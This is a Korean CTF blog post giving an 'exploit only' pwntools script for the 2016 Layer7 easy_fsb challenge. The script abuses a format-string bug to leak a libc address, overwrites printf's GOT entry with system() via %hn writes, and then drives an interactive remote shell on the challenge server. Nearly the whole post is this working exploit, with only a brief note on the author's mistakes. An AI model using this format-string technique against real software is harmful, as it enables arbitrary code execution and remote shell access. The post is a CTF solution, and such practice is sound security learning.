본문 바로가기

CTF

2016 Layer7 CTF easy_fsb exploit only

FSB에 약점을 가지고 있던 나로써는 힘들게 푼 문제..


바보같이 %hn이 2byte를 써 준다는 걸 모르고 삽질 ..


%s로 하면 주소를 leak 시킬 수 있다는 걸 모르고 삽질 .. 


같은 팀원인 민정이의 도움을 받았다.



from pwn import *


conn = remote('prob.layer7.kr', 10002)


payload = "%75$x\n"


conn.send(payload)


libc_start = int(conn.recv(8),16) - 247


print "libc_start : " + hex(libc_start)


system_libc = 0x0003A920 - 0x00018540

system_addr = system_libc + libc_start

printf_got = 0x0804A010


#system_addr = 0x555e2310


system1 = system_addr / 0x10000

system2 = system_addr & 0xffff


print str(system1)

print str(system2)


print "system_addr : " + hex(system_addr)


payload = p32( printf_got )

payload += "AAAA"

payload += p32( printf_got +2 )

payload += "%" + str(system2 - len(payload)) + "u%7$hn%" + str( system1 - system2 )+ "u%9$hn                          done"


conn.send(payload + "\n")


print conn.recvuntil("done")


payload = "/bin/sh/\0"


conn.send(payload + "\n")


while True:


        cmd = raw_input('$ ')

        conn.send(cmd+"\n")

        print conn.recv(1024)



'CTF' 카테고리의 다른 글

2017 DEFCON mute 풀이  (0) 2017.05.01
2016 CSAW CTF tutorial exploit only  (0) 2016.09.26
2016 Layer7 CTF easy_bof exploit only  (0) 2016.09.06
codegate 2013 vuln200 from rop exploit only  (0) 2016.09.04
angry_doraemon exploit only from pwntools  (0) 2016.08.28